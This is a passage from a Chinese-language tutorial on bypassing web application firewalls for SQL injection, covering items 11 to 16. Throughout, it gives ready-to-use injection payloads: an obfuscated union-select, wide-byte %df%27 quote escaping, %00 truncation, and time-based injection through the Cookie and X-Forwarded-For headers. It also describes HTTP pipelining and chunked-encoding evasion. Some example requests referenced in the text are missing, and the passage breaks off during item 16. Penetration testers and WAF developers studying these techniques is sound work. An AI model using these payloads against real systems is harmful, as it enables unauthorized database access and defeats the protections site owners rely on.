?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin
11. 协议未覆盖绕过以下四种常见的content-type类型:
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。
例如使用multipart/form-data进行绕过。
正常请求:
转换为multipart/form-data类型进行绕过:
12. 宽字节绕过
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。
正常payload:
?id=1'and 1=1--+绕过payload:
?id=1%df%27and 1=1--+%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。
13. %00截断部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。
正常payload:
?a=1&id=1and sleep(3)绕过payload:
?a=1%00.&id=1and sleep(3) 14. Cookie/X-Forwarded-For注入绕过部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。
正常payload:
GET /index.aspx?id=1+and+1=1 HTTP/1.1 Host: 192.168.61.175 ...........Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;
绕过payload:
GET /index.aspx HTTP/1.1 Host: 192.168.61.175 ...........Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1′;WAITFOR DELAY’0:0:5′–
15. 利用pipline绕过当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
正常请求被拦截:
利用pipline进行绕过:
首先关闭burp的Repeater的Content-Length自动更新
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
16. 利用分块编码传输绕过
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。